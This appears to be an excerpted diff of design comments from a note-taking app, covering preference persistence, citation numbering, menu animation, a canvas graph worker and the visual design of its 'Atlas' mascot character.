+3. Row 26 (H7), row 28's rest (torch at launch, the Phosphor subset, lazy
+   stylesheets, the Windows frozen startup), rows 30 to 34.

-// --- keeping the look across restarts (§35E) --------------------------------
-//
-// Reported as two bugs: *"the theme resets to default on every start"* and
-// *"onboarding shows every time"*. They are one bug. Both were stored in
-// `localStorage` and nowhere else, and the desktop shell does not reliably
-// persist it: pywebview is a different browser with its own profile, and if
-// that profile is not stable across launches then everything kept there is
-// something the app forgets. Two symptoms, one storage, exactly as §35E
-// predicted.
-//
-// The fix is a mirror, not a move. localStorage stays the thing every
-// `appearancePref` read goes through: it is synchronous, it works with the
-// server unreachable, and moving the reads would mean rewriting the whole
-// appearance system to be async. The server keeps a copy, seeded back into
-// localStorage on load when the local one is empty, so a shell that loses it
-// gets it back, and a browser that keeps it never notices.
-
-//: The keys worth surviving a restart. Explicit rather than "everything in
-//: localStorage": this is written to the notebook's own preferences file, and
-//: scroll positions and one-visit UI state have no business in there.
-// The appearance half is `LOOK_KEYS`, the same list a saved custom theme
-// snapshots: rather than a second hand-written copy of it. The first draft
-// *was* a hand-written copy, and it guessed two key names wrong ("bgart",
-// "bgart-motion" for what are really `bgArt`, `bg-style`, `bg-motion` and
-// `bg-intensity`), so the background art would have been the one setting that
-// still did not survive a restart. Deriving it cannot be wrong.

-//: pose grid for the head's features (the flame ear tufts, the face, the

-//: with their planets, the states) and the ghostly "base concept" sheet
-//: for the head's oval, the lower body and the limbs (a torso that flows
-//: as one outline into soft tendril legs with no feet, tendril arms, the
-//: glossy head highlight, the bright chest star) and its "comet drifter"
-//: for the mane. The owner's verdicts on the drafts before this one are
-//: the rules: "cool and aura", "cute but not fat baby cute", "like a
-//: pokemon or Rimuru", "the arms and legs aren't properly attached", "a
-//: space onion", "too alien like", "too rigid ... no smooth organic flow",
-//: "lego hands", "wizard cap", "very purple and a lot of the blue is
-//: missing", "it doesn't need to be a large round head".
-//:
-//: - **Proportions** (the companion's 64 by 92 box, one unit is one px at
-//:   the companion's size). The head is a soft oval a little taller than
-//:   wide, 27 by 30, from 8 to 38.4: a third of the height. No neck: it
-//:   sits straight on the body. The body is small and soft, 25 wide at the
-//:   belly, narrowing at the waist to 73; the main look's legs run from
-//:   inside the hips to the soles' line at 90, and the feminine look has
-//:   none, only a skirt of ribbons from the waist (round 6); the arms are
-//:   18 long from a shoulder inside the chest, just under the chin. The eyes are 10 wide, 37% of the head,
-//:   13 apart, set 63% down the head; the mouth 90% down.
-//: - **One silhouette, all curves** (the owner: "no smooth organic flow or
-//:   shape ... all too rigid"). Every shape is cubic Beziers with matching
-//:   tangents at the joins, no straight segments and no corners. Every
-//:   limb, lock, wisp and the tail is a tapered stem generated from a
-//:   centreline (`atlasStem`): thick where it grows out of the body, fine
-//:   and soft at the tip, its root well inside the body. All outlines are
-//:   drawn first as one layer (`atl-edges`) and every fill on top
-//:   (`atl-fills`), so where parts overlap the fills close the seams and
-//:   the figure has one outer contour; the "outline" is a soft, wide
-//:   glow in the sky-blue light colour at low opacity (the owner: "not
-//:   organic and more like a doll or puppet"), a subsurface light round
-//:   the whole silhouette rather than a drawn line, so the gradients do
-//:   the modelling; only the tiny icon keeps a real line. Each limb is in both layers
-//:   under the same companion class, so a pose turns outline and fill
-//:   together about a joint inside the body.
-//: - **The ears, the wisps and the mane.** Two soft flame tufts, one each
-//:   side of the crown, that sweep up and out with two small tongues
-//:   flicked along the outer edge, an inner ear of galaxy and a star at
-//:   the tip (the feminine ones longer, with a wisp trailing down beside
-//:   the cheek); a small tuft of three wisps on the crown between them;
-//:   and behind them a mane that starts as wide as the crown and streams
-//:   back and down in layered, overlapping locks, each broad at the root
-//:   and tapering to a soft point along a long S, never straight and
-//:   never upward, translucent with speckle stars and a lighter leading
-//:   edge (three locks for the masculine look, five longer ones flowing
-//:   further down for the feminine).
-//: - **The tail.** From the lower back, a flame: it thickens then tapers
-//:   along an S, with small tongues flicked off its edge, the body's blue
-//:   running into navy galaxy with star dots along it and a bright white
-//:   comet glow at the tip. The feminine tail runs longer with a second
-//:   curve. It is the companion's tail too: it lies along a ledge when
-//:   Atlas sits, hangs when it hangs, curls when it sleeps and wags when
-//:   it is pleased.
-//: - **The signature.** A faded constellation inside the chest and belly:
-//:   a few small dim stars joined by hairlines, each in a soft glow, the
-//:   heart among them only a little brighter (round 6: "they should be
-//:   faded constelations"; the four-point star is gone). Three thin
-//:   concentric rings of light orbit the head at cheek level, tilted,
-//:   passing behind the head and in front of the chin, with a tiny planet
-//:   or star glint on each. And the nebula: one ribbon of deep navy with
-//:   violet and pink clouds and star dots that sweeps behind the body from
-//:   the upper right and curls round under it, in a haze of soft clouds,
-//:   all of it behind the figure, light and secondary (round 6; it used to
-//:   cross once in front of the legs). Restraint: nothing else.
-//: - **Material.** Soft and painterly: one radial gradient in the drawing's
-//:   own space (a sky-blue-white core at the forehead through periwinkle
-//:   to a blue-violet shade and deep blue at the far rim) fills head,
-//:   mane, body and limbs alike, so the light falls on the whole figure at
-//:   once; a lighter belly, as if lit from inside; a rim shade per part (a
-//:   radial gradient, clear in the middle and violet at the edge, so each
-//:   part rounds off); a glossy specular on the head's upper left and a
-//:   smaller one on the body (white through a radial fade); a few specks
-//:   inside; a subtle aura. No filters anywhere: every glow is a radial
-//:   gradient.
-//: - **Palette, sampled** (k-means over the reference sheets' regions,
-//:   `scratchpad/palette.py`; the owner: "they are very purple and a lot of
-//:   the blue is missing"). The body is blue: a sky-blue-white core
-//:   (#c8e1f7, the forehead's largest cluster), periwinkle (#a3bbea, the
-//:   torso's), blue-violet shade (#7d91cf) and deep blue at the far side
-//:   (#505aac, the legs'). Violet only where the references have it: the
-//:   ear and hair tips (#413b94, the hero's crest) and the lilac nebula
-//:   (#b098d6). Navy for the eyes (#081241) and the galaxy (#1c235a);
-//:   white-blue for highlights and starlight (#e7f6fd). Fixed in the CSS;
-//:   the live `--accent` tints only the aura, the rings' glow and the
-//:   iris's foot, never the body.
-//: - **Face.** Big rounded eyes, the iris deep navy-violet filling nearly
-//:   the whole eye and lightening toward its foot, centred by default, two
-//:   catchlights always at the upper left and one tiny sparkle; a fine
-//:   lash line; soft lower lids; faint brows; a small closed smile at rest
-//:   (open only pleased or laughing); soft cheeks with blush. Fifteen
-//:   moods, each a combination of all of these plus head tilt, body
-//:   squash, ear, hair, tail and ring lift and star brightness and one
-//:   small extra (sparkles, hearts, a thought, a tear). The combinations
-//:   are CSS (`[data-atlas-mood]` in 08-consistency.css); this file draws
-//:   the parts and says which mood.
-//: - **Life.** Breathing squash and stretch from the feet, blinks with an
-//:   occasional double blink, the tail swaying (wagging when pleased) with
-//:   its starlight glinting, the tendril tips drifting, dust drifting round
-//:   the rings, a slow head sway and the glow pulsing. All of it is CSS
-//:   transform and opacity on this one SVG, runs only while the mark is on
-//:   screen and motion is on, slows under Reduce motion and stops under
-//:   Avatar animation Off.
-//: - **Sizes.** `full` (a figure with margins, 96px and up: the welcome,
-//:   the large view), `figure` (the companion's 64 by 92 box, parts named
-//:   for the companion's behaviours), `head` (the head, its ears and a
-//:   shorter cut of the mane, 28 to 95px: the dashboard mark, chat heads,
-//:   persona rows) and `tiny` (under 28px: head, ears and eyes, thicker
-//:   lines, no lids, brows or motion).

-//
-// The data for this already existed and only ever reached a chip row *under*

-//
-// Deliberately conservative about *where* a marker may go: it walks real text
-// nodes and only places one where a grounded sentence is found whole inside a
-// single node. A sentence split across an <em> or a link is skipped rather
-// than reassembled: a citation attached to the wrong half of a sentence is
-// worse than no citation, and the chip row below still lists every source
-// either way, so nothing is lost by skipping.
-//: **`answerEl` is every prose block of the turn, latest first, not one
-//: element.** Reported: an agent answer and a skill run showed no markers at
-//: all, while a plain Ask answer showed them. The cause is one word:
-//: `querySelector`. A skill run's timeline writes each step's prose into its
-//: own `.bubble-answer` node (`startAnswer`, called again after every `step`
-//: event), so the *first* one is step 1's narration and the run's real answer
-//: is the last. The backend grounds the turn's whole prose as one string, so
-//: every sentence it returned came from the final answer, and every one of
-//: them was hunted for in the wrong paragraph.
-//:
-//: Latest first because a run repeats itself: a sentence the closing summary
-//: and an intermediate step both contain belongs on the summary, which is
-//: what a reader takes away. A step's own unique sentence still gets its
-//: marker where it is, which is what walking all of them buys over simply
-//: picking the last.
-//: `orderedSources` is the Sources panel's own list, in the order it numbers
-//: them. INBOX 81's second half asks that "the sources list numbers web
-//: results after the notes so [5] resolves to a site", and reading the two
-//: numberings side by side showed a wider problem than that: the panel counts
-//: its rows from 1 in list order (notes, then what the turn touched, then
-//: what it read off the web), while the block below counted from 1 in
-//: *order first cited* among the grounded sentences. Those are two unrelated
-//: sequences, so [2] in the prose and 2 in the panel were only ever the same
-//: source by luck, with no web results involved at all.
-//:
-//: Passed rather than recomputed here, because the panel builds the list from
-//: three inputs this function does not have, and two functions deriving "the
-//: same" order independently is how they drift apart again. Optional, so the
-//: Ask box's own call keeps its existing behaviour until it grows a panel to
-//: agree with.

-//: Ask tab: "In-text referencing and grounding in the ask subtab doesn't
-//: stick, the wrong numbers will be used and in the wrong spot, and the
-//: numbers wont match the grounding". Three things there number the same
-//: sources: the markers in the prose, the "Grounded in" chips under it and
-//: the Sources panel below that. Each counted for itself, so a note could be
-//: 1 in the prose, 2 on a chip and 3 in the panel, and the Chat tab had
-//: already been given the panel's order for exactly this reason while Ask had
-//: not. A function rather than a convention: two loops that agree today are
-//: two loops that disagree after the next edit to either.

+   this ring (0.7s), as a Phosphor glyph (1.1s, two keyframe names, three
+   colours), as a pulsing word whose keyframes did not exist, as the chat
+   reply dots in a toast, and as a motionless icon beside "Working…".
+
+   Drawn by `spinnerEl()` (app.js) or, inside a label, by the `ph:spin`
+   marker (`setLabel`), so it takes the same gap as every other leading icon.

+
+   **Colour** is `--accent-text`, not `currentColor`. A 2px ring in a muted
+   status line (`--muted`) all but vanishes and says nothing; the accent is
+   the app's "this is acting" colour everywhere else (the filing chip, the
+   busy chip, the focus ring), and `--accent-text` is the variant that holds
+   AA contrast on both the page and the `--accent-soft` chip ground. The one
+   exception is a filled button, where accent on accent would disappear: there
+   the ring takes the button's own text colour (see `setBusy`, below).
+

+/* --- motion: a menu or popover grows from what opened it (INBOX 103, 2026-10-05)
    DESIGN.md rule 12, from the HIG: controls "fluidly morph into menus and
-   popovers", and rule 6: "an action sheet originates from the element that
-   initiates the action". A menu that simply appears has no relationship to
-   the button you pressed; one that grows out of that button's corner is the
-   same object continuing.
-
-   **A clip, not a scale, and the reason is a measurement rather than
-   taste.** `openActionMenu` (menus.js) reads `menu.getBoundingClientRect()` in
-   the same turn it removes `.hidden`, twice: once to decide whether the menu
-   would spill past its scroll parent and flip upward, and again inside
-   `escapeMenuIfClipped`, which reparents a clipped menu to the body and
-   positions it from those coordinates. A transform is included in that rect,
-   so a menu scaling in from 0.92 would be measured at 92% of itself and
-   placed accordingly, permanently. `clip-path` changes nothing about the
-   box; it only decides which of it is painted.
-
-   The circle grows from the opener's own corner: `.action-menu` is anchored
-   `right: 0; top: calc(100% + 4px)` under its opener, so the top-right
-   corner *is* the button, and the flipped variant's origin moves to the
-   bottom with it. 140% is the diagonal of a box, so the last frame is a
-   whole menu rather than a clipped rectangle. */

+
+   **Opacity and scale, and the scale starts 1ms late, which is the point.**
+   `openActionMenu` and its siblings (menus.js) measure the menu in the same

+   `<body>`, and a transform is part of that measure: a menu measured at 96%
+   would be placed 4% wrong, for good (why this was a `clip-path` circle
+   before). A 1ms delay with no backwards fill leaves the box at full size

-   popup notification is broken visually. also I want it to be more of a whole
-   screen subtle but noticable guide like with the zoom visual thingo."
-
-   It was a `.toast`: a corner notification sized for one sentence, holding
-   ten key-and-label pairs in a row that wrapped mid-pair, which is why "m"
-   and "then" ended up on separate lines beside the chips. And a notification
-   is the wrong kind of thing for it: a toast says something happened, while
-   this is the app waiting for your next keystroke, which is a mode.
-
-   So it takes the HUD's idiom (`.hud`, 07-whiteboard-misc.css: centred,
-   accent-edged, momentary, never interactive) at the size this content needs,
-   over a scrim that dims the page just enough to say the next key means
-   something.
-
-   **The scrim stays click-through-to-close; the rows do not.** This block used
-   to say "`pointer-events: none` throughout: a guide that eats the click you
-   were about to make is worse than no guide at all", which was an argument
-   about a guide sitting beside your work. This one dims the page and holds the
-   next keystroke, so there is no click it could steal that was meant for
-   something else, and the rows are drawn as pills with a key chip in them,
-   which is the shape of a control. The owner: "also make these popup options
-   when I press m, actual clickable nav buttons". A click on the dimmed page
-   still means "not this", the same as Escape and a second `m`. */

+
+   **Three lines, not eighteen rem** (INBOX 279). The box used to sit behind a
+   second disclosure inside the first, so its height was somebody's problem
+   only after two clicks; it is what the fold opens onto now, and at 18rem one
+   opened row was 288px of reading in a list of rows. The recommendation on
+   record is "the first three lines of the reading shown inline and one Open

+   the box still scrolls for anyone who wants the rest in place, and reading it
+   properly is what the button beside the numbers is for.
+
+   **One more line than that** (INBOX 289, the owner: "in the files subtab, I
+   want the expanded text box to be slightly taller as it is quite short
+   vertically"). Measured at 1440 before this: 64px of box against an 18px
+   line box, so 3.56 lines, and 3.56 is the number the report is about. The cap
+   is written as the old one plus exactly one line rather than as a new round
+   number, for two reasons: it says in the value itself that this is one more
+   line and not a re-guess, and it is the only form that stays one more line if
+   the text scale moves, since `--text-sm` and the 1.5 below are what the line
+   box is made of. 82px, 4.56 lines.
+
+   It stops at one because the box sits in a list of rows and every pixel it
+   gains is a pixel the next row moves down: measured with the fold open, the
+   row below starts at 472.3px of a 950px window at 1440, and at 788.3px of an
+   844px window at 390, so one line is what the phone has to spare and two is
+   not. The part-line at the bottom edge survives the change on purpose: it is

-// MemoryMap AI: the graph, drawn to a Canvas 2D surface.
-//
-// GRAPH_PLAN.md §4 ("Renderer: Canvas 2D first") and §5 Phase 1. This is the
-// other half of `graph-worker.js`: the worker decides where the notes are,
-// this paints them, and neither one touches the DOM per node.
-//
-// **Why this exists at all** (§2.1, measured before it was written): the SVG
-// renderer builds one `<g>` per node with a circle, a halo, a shine and a
-// label, plus two `<line>`s per edge, and rewrites every one of their
-// attributes through d3's selection API on every tick. At a few hundred notes
-// that is thousands of DOM attribute writes per frame on the same thread the
-// pointer is being handled on, which is why dragging stuttered. Here a frame
-// is a few hundred canvas path operations regardless of how many notes there
-// are, and the simulation is not even on this thread.
-//
-// It is loaded as a classic script *after* graph.js and before app.js, so
-// `renderGraph()` in graph.js can dispatch to `renderGraphCanvas()` by name at
-// call time. Nothing in app.js's own top-level wiring names anything in here.
-//
-// What is deliberately shared with graph.js rather than re-implemented: the
-// note popup, the new-note form, the link panel, trace, the minimap, saved
-// views, keyboard driving, `fitGraphToView` and the tree/radial/arc layout
-// maths. Those are all renderer-agnostic, they work on `graphNodesRef` and on
-// `graphSvg`/`graphZoom`, and this file points those at the canvas.

-
-//: **One surface, not a pile of module globals** (GRAPH_PLAN Phase 4, the

-//: the one it is working on. It used to be forty-odd module-level `let`s,
-//: which is fine while there is exactly one canvas and impossible the moment
-//: there are two: the pane beside a note and the tab would have written each
-//: other's node array, transform, worker and hover state. `s = gcTab` as the
-//: last parameter everywhere means the tab's own calls, and the sweeps',
-//: read exactly as they did.
-//:
-//: `size` says which of the two this is. "full" is the tab: it owns the
-//: chrome (the legend, the minimap, the stats line, the time slider, trace,
-//: the keyboard) and writes the renderer-agnostic globals in graph.js that
-//: the chrome reads. "pane" is the small one beside a note: same draw, same

-//: Asked for: "can you make graph nodes temporarily expand to fill their glow

-//: look slightly nicer, cooler, more professional and more modern. visually".
-//:
-//: Every node is already drawn with a halo 6px outside its core, and until now
-//: the only thing hovering one changed was a ring around it. The dot now grows
-//: out to that halo and the halo steps a little further out and brightens, so
-//: the glow stays a glow around the node rather than something the node has
-//: swallowed.
-//:
-//: **Animated here rather than in CSS.** The SVG renderer could do this with a
-//: `:hover` rule; this one paints to a canvas, which has no elements to hover
-//: and no transitions. So the eased value is held as one number and the draw
-//: loop is asked for frames only while it is moving: `gcHoverFrom`/`gcHoverTo`
-//: name the node it is leaving and the node it is entering, and both are
-//: eased, so moving the pointer straight from one node to the next shrinks the
-//: first while the second grows instead of snapping.
-//:
-//: The cost is bounded by construction: at most two nodes are ever mid-ease,
-//: the animation is 140ms, and when nothing is easing `gcHoverEase` is exactly
-//: 1 and no frames are requested at all.
-//: **Toned down after the first version was shown.** The owner: "the halo
-//: growth on the nodes is a bit visually jarring tbh". It was the full 6, so
-//: the smallest nodes jumped 67% wider in 140ms while their halo pushed out
-//: another 3 and brightened by half again: three things moving at once, and
-//: the smaller the node the louder it read. Half the distance, half the light
-//: and a little longer to travel it keeps the gesture (the node comes forward
-//: under the pointer) without the pop.
-//: **A node is a sprite, not three arcs.** The owner on the flat discs with
-//: a halo ring: "the visual part of the main graph design needs a better
-//: look", and on a first attempt with a highlight dot: "makes it look like a
-//: bowling ball". So: one soft radial fill per node (a little lighter at the
-//: centre, the category colour at the edge, no dot), a one-pixel rim a shade
-//: darker than the fill so the disc has an edge against any background, and
-//: a glow outside it that is wide and faint for a hub and narrow for a leaf.
-//: Drawn once per colour and size into an offscreen canvas at the current

-// MemoryMap AI: the graph's force simulation, off the main thread.
-//
-// GRAPH_PLAN.md §4 ("Simulation off the main thread") and §5 Phase 1. The SVG
-// renderer this replaces ran `d3.forceSimulation` on the main thread and wrote
-// thousands of DOM attributes per tick, so the simulation and the pointer
-// fought for the same thread and a drag stuttered. Here the simulation owns a
-// worker, and the main thread only ever paints what this posts.
-//
-// **d3 is vendored, and `importScripts` is what a classic worker has.** The
-// app ships `/vendor/d3.v7.min.js` (no CDN: the offline rule), it is a UMD
-// bundle, so `importScripts` puts `d3` on this worker's own global. The CSP
-// already allows it: `worker-src 'self'` is set in
-// `src/memorymap/core/security.py` (checked before writing this, not assumed, 
-// a directive missing there fails silently, which is the "policy silently
-// refusing the work" shape CLAUDE.md names).
-//
-// ---------------------------------------------------------------------------
-// The protocol, in both directions. Kept small on purpose: every message is
-// structured-cloned, so anything that travels per frame has to be a buffer.
-//
-// In:
-//   {type:"init", nodes:[{id,x,y,fx,fy,r}], edges:[{source,target,kind,score}],
-//    params:{gravity,spread,lengthByScore}, world:{left,top,right,bottom}, alpha, epoch}
-//       Replace the whole simulation. `id` is only used to map the drag/pin
-//       messages below onto array indices; positions travel by index alone.
-//       `epoch` is echoed on every message this run produces: see "Out".
-//   {type:"params", params:{gravity,spread}}      re-tune without a rebuild
-//   {type:"drag", phase:"start"|"move"|"end", id, x, y, keep}
-//       start -> alphaTarget(0.3) and pin; move -> move the pin; end ->
-//       alphaTarget(0) and, unless `keep`, release the pin.
-//   {type:"freeze", ids:[...]} / {type:"thaw"}
-//       Hold everything else still for the length of a drag, the same
-//       "aiming at a moving target is not a gesture" fix the SVG renderer
-//       carried, kept because drag-to-link still depends on it.
-//   {type:"pin", id, x, y} / {type:"unpin", id}   double-click hold / release
-//   {type:"reheat", alpha}                        nudge a settled layout
-//   {type:"stop"}                                 leave the tab
-//   {type:"recycle", buffer}                      hand a position buffer back
-//
-// Out:
-//   {type:"tick", positions:Float32Array (transferred), alpha, running, epoch}
-//       x,y interleaved, one pair per node, in the order `init` supplied.
-//   {type:"end", alpha, epoch}
-//                         the layout has settled; no further ticks are coming
-//                         until something reheats it.
-//
-// **Why every message out carries the `epoch` its `init` came with.** Both
-// directions of `postMessage` are asynchronous, so `{type:"stop"}` cannot
-// unsend a tick that has already been posted: it clears the timer here and
-// the tick sitting in the main thread's queue is still delivered afterwards.
-// The main thread applies positions *by index*, so a tick from the previous
-// simulation landing after the node array has been replaced writes the old
-// solution over the new one. That is what a tree drawn as a scatter is, and
-// it is why it happened only when the layout was switched while the force
-// simulation was still warm. The epoch lets the reader of a message decide
-// whether it is still about the graph on screen.

-           and which was for acting; they were simply the order the features
-           arrived in.
-
-           One row, the four zones every Library head now uses:
-             identity: the title
-             find:     the filter box
-             arrange:  the grouping segment
-             actions:  Collapse all, then refresh, then help
-           Utilities are refresh then help now, which is the fixed order the
-           grammar states and the order every other dock already uses.
-
-           Ids, `data-mode` values, `role="tab"` and the `active` class are
-           all unchanged, so library.js keeps its listeners as they are.
-
-           The segment gained an icon per option. Rule 7 wants a segmented
-           control to mean *view* and to carry icons, and this one does mean
-           view: it is four ways of drawing the same index, not four filters.
-           The words stay beside the icons because "By month" and "By folder"
-           are not guessable from a picture, and the folder option keeps the
-           tooltip that answers the question it was reported with. -->

+                  port, 8443 beside the usual 8000). The certificate is made
+                  on this computer rather than bought from a company browsers
+                  already trust, so the first time a device opens the address

+                <p>
+                  Before you continue past that warning, open the
+                  certificate's details on the other device and compare its
+                  SHA-256 fingerprint with the one shown here. If they match,
+                  continue, and that device will not ask again. If they do
+                  not, stop: something else is answering at that address.
+                  Regenerate certificate makes a new one, for example after
+                  this computer's address changes; every device then warns
+                  once more.

+// --- keeping the look across restarts (§35E) --------------------------------
+//
+// Reported as two bugs: *"the theme resets to default on every start"* and
+// *"onboarding shows every time"*. They are one bug. Both were stored in
+// `localStorage` and nowhere else, and the desktop shell does not reliably
+// persist it: pywebview is a different browser with its own profile, and if
+// that profile is not stable across launches then everything kept there is
+// something the app forgets. Two symptoms, one storage, exactly as §35E
+// predicted.
+//
+// The fix is a mirror, not a move. localStorage stays the thing every
+// `appearancePref` read goes through: it is synchronous, it works with the
+// server unreachable, and moving the reads would mean rewriting the whole
+// appearance system to be async. The server keeps a copy, seeded back into
+// localStorage on load when the local one is empty, so a shell that loses it
+// gets it back, and a browser that keeps it never notices.
+
+//: The keys worth surviving a restart. Explicit rather than "everything in
+//: localStorage": this is written to the notebook's own preferences file, and
+//: scroll positions and one-visit UI state have no business in there.
+// The appearance half is `LOOK_KEYS`, the same list a saved custom theme
+// snapshots: rather than a second hand-written copy of it. The first draft
+// *was* a hand-written copy, and it guessed two key names wrong ("bgart",
+// "bgart-motion" for what are really `bgArt`, `bg-style`, `bg-motion` and
+// `bg-intensity`), so the background art would have been the one setting that
+// still did not survive a restart. Deriving it cannot be wrong.

-// 1. "Showed both before and after I signed in, and kept coming back." The

-//    `startApp()` also runs with a *stale* token (comment above `apiJson`'s
-//    401 handling: "a stale token in localStorage... fire[s] a dozen
-//    requests... before the user has unlocked anything"), and on that run
-//    the silent /preferences fetch 401s and leaves prefsCache null. `null?.x`
-//    is `undefined`, which is falsy, so the prompt fired on that pass too, 
-//    before the real sign-in the user was about to do. It then fired AGAIN
-//    on the real post-login startApp(), because whatever this function saved
-//    the first time round never reached a real, authenticated session.
-//    Requiring prefsCache to actually exist closes that: a failed fetch is
-//    "we don't know yet", not "this is a fresh profile that hasn't seen it".
-//
-// 2. "Randomly signed me out." This used to POST /system/console-mode, the
-//    same route Settings and the tray use, which restarts the whole desktop
-//    process (pythonw.exe/python.exe relaunch, see __main__.py) the instant
-//    the choice differs from the default. That is the right call for an
-//    explicit Settings/tray toggle, where the user just asked for a live
-//    switch and the toast says "restarting…". It is the wrong call for a
-//    popup that appears on its own during first login: killing the server
-//    (in-memory sessions and all, core/config.py, "restarting locks it
-//    again") out from under someone who hasn't even finished signing in is
-//    exactly the "signed out at random" report. It also raced its own
-//    "remember this was answered" write against that same process exit, 
-//    the second request sometimes lost, which is why the popup came back
-//    "every other time" rather than never or always. A single PUT that sets
-//    both preferences at once, with no restart, has neither problem: the

-// `window.confirm` is not dependable in the shell this app also runs in.
-// pywebview's backends vary in whether they implement it at all, and one that
-// does not returns `undefined`, which every `if (!confirm(...)) return;` in
-// this file reads as "the user said no". The button then does nothing, says
-// nothing, and looks broken. That is the reported shape of "the recycle bin
-// empty now button doesn't work either": the endpoint behind it is fine, and
-// the click never got past the gate.
-//
-// A promise-based dialog fixes that and is better in the browser too, it is
-// styled like the app, it says what the action is in a heading rather than a
-// system font, and the dangerous option can be marked as dangerous.
-//: `checkbox` adds one optional decision to the same dialog, `{label, title,
-//: checked}`, and the promise then resolves to `{ok, checked}` instead of a
-//: bare boolean. Added for "also take this picture out of the notes that show
-//: it", which is a second, *different* act from deleting the file: a
-//: second dialog for it would be a second modal to dismiss, and doing it
-//: silently would be the app editing someone's notes without being asked.
-//:
-//: Callers that pass no checkbox still get a plain boolean, because thirty of
-//: them read the result directly and widening that contract for all of them
-//: would be a rewrite in service of one feature.
-//: **The button says what it does.** A confirmation whose question is
-//: "Delete the 'Audit link reasons' skill?" answered with a red "OK", which
-//: is the one label that names no action (every platform's guidelines ask
-//: for the verb). Most call sites pass no label, so the default is read off
-//: the question itself: its first word, when that word is one of the
-//: actions the app asks about. Anything else keeps "OK".
+// `window.confirm` is not dependable in pywebview: a backend without it

+// 939ms against 410ms to open). So the sketch is drawn into a scratch box
+// off the page, its canvas kept, and each head's own canvas takes a copy of
+// the pixels. It turns by CSS like every emblem (`canvas.emblem-spin`,
+// 03-dashboard-widgets.css) unless Reduce motion is set, which leaves the

+// atlas.js: Atlas, the assistant's own character. Loaded straight after
+// avatars.js, whose `registerCharacter` it answers through; every other file
+// reaches it by the old names (`atlasMark`, `setAtlasMood`,
+// `atlasRestingMood`), so no call site changed when it moved here.
+//
+//: **The design note.** Atlas is a small celestial spirit built from two of
+//: the owner's reference sheets, by their decision: the "conceptual art"
+//: pose grid for the head's features (the flame ear tufts, the face, the
+//: chest constellation, the comet tail, the nebula strand, the orbit rings
+//: with their planets, the states) and the ghostly "base concept" sheet
+//: for the head's oval, the lower body and the limbs (a torso that flows
+//: as one outline into soft tendril legs with no feet, tendril arms, the
+//: glossy head highlight, the bright chest star) and its "comet drifter"
+//: for the mane. The owner's verdicts on the drafts before this one are
+//: the rules: "cool and aura", "cute but not fat baby cute", "like a
+//: pokemon or Rimuru", "the arms and legs aren't properly attached", "a
+//: space onion", "too alien like", "too rigid ... no smooth organic flow",
+//: "lego hands", "wizard cap", "very purple and a lot of the blue is
+//: missing", "it doesn't need to be a large round head".
+//:
+//: - **Proportions** (the companion's 64 by 92 box, one unit is one px at
+//:   the companion's size). The head is a soft oval a little taller than
+//:   wide, 27 by 30, from 8 to 38.4: a third of the height. No neck: it
+//:   sits straight on the body. The body is small and soft, 25 wide at the
+//:   belly, narrowing at the waist to 73; the main look's legs run from
+//:   inside the hips to the soles' line at 90, and the feminine look has
+//:   none, only a skirt of ribbons from the waist (round 6); the arms are
+//:   18 long from a shoulder inside the chest, just under the chin. The eyes are 10 wide, 37% of the head,
+//:   13 apart, set 63% down the head; the mouth 90% down.
+//: - **One silhouette, all curves** (the owner: "no smooth organic flow or
+//:   shape ... all too rigid"). Every shape is cubic Beziers with matching
+//:   tangents at the joins, no straight segments and no corners. Every
+//:   limb, lock, wisp and the tail is a tapered stem generated from a
+//:   centreline (`atlasStem`): thick where it grows out of the body, fine
+//:   and soft at the tip, its root well inside the body. All outlines are
+//:   drawn first as one layer (`atl-edges`) and every fill on top
+//:   (`atl-fills`), so where parts overlap the fills close the seams and
+//:   the figure has one outer contour; the "outline" is a soft, wide
+//:   glow in the sky-blue light colour at low opacity (the owner: "not
+//:   organic and more like a doll or puppet"), a subsurface light round
+//:   the whole silhouette rather than a drawn line, so the gradients do
+//:   the modelling; only the tiny icon keeps a real line. Each limb is in both layers
+//:   under the same companion class, so a pose turns outline and fill
+//:   together about a joint inside the body.
+//: - **The ears, the wisps and the mane.** Two soft flame tufts, one each
+//:   side of the crown, that sweep up and out with two small tongues
+//:   flicked along the outer edge, an inner ear of galaxy and a star at
+//:   the tip (the feminine ones longer, with a wisp trailing down beside
+//:   the cheek); a small tuft of three wisps on the crown between them;
+//:   and behind them a mane that starts as wide as the crown and streams
+//:   back and down in layered, overlapping locks, each broad at the root
+//:   and tapering to a soft point along a long S, never straight and
+//:   never upward, translucent with speckle stars and a lighter leading
+//:   edge (three locks for the masculine look, five longer ones flowing
+//:   further down for the feminine).
+//: - **The tail.** From the lower back, a flame: it thickens then tapers
+//:   along an S, with small tongues flicked off its edge, the body's blue
+//:   running into navy galaxy with star dots along it and a bright white
+//:   comet glow at the tip. The feminine tail runs longer with a second
+//:   curve. It is the companion's tail too: it lies along a ledge when
+//:   Atlas sits, hangs when it hangs, curls when it sleeps and wags when
+//:   it is pleased. Since INBOX 601 its root is inside the lower body and
+//:   it is widest where it leaves, in the body's colour, deepening into the
+//:   galaxy along its length; in the layered figure it bends along its
+//:   whole length by what it is doing (`atlasTailFrame`).
+//: - **The signature.** A faded constellation inside the chest and belly:
+//:   a few small dim stars joined by hairlines, each in a soft glow, the
+//:   heart among them only a little brighter (round 6: "they should be
+//:   faded constelations"; the four-point star is gone). Three thin
+//:   concentric rings of light orbit the head at cheek level, tilted,
+//:   passing behind the head and in front of the chin, with a tiny planet
+//:   or star glint on each. And the nebula: one ribbon of deep navy with
+//:   violet and pink clouds and star dots that sweeps behind the body from
+//:   the upper right and curls round under it, in a haze of soft clouds,
+//:   all of it behind the figure, light and secondary (round 6; it used to
+//:   cross once in front of the legs). Restraint: nothing else.
+//: - **Material.** Soft and painterly: one radial gradient in the drawing's
+//:   own space (a sky-blue-white core at the forehead through periwinkle
+//:   to a blue-violet shade and deep blue at the far rim) fills head,
+//:   mane, body and limbs alike, so the light falls on the whole figure at
+//:   once; a lighter belly, as if lit from inside; a rim shade per part (a
+//:   radial gradient, clear in the middle and violet at the edge, so each
+//:   part rounds off); a glossy specular on the head's upper left and a
+//:   smaller one on the body (white through a radial fade); a few specks
+//:   inside; a subtle aura. No filters anywhere: every glow is a radial
+//:   gradient.
+//: - **Palette, sampled** (k-means over the reference sheets' regions,
+//:   `scratchpad/palette.py`; the owner: "they are very purple and a lot of
+//:   the blue is missing"). The body is blue: a sky-blue-white core
+//:   (#c8e1f7, the forehead's largest cluster), periwinkle (#a3bbea, the
+//:   torso's), blue-violet shade (#7d91cf) and deep blue at the far side
+//:   (#505aac, the legs'). Violet only where the references have it: the
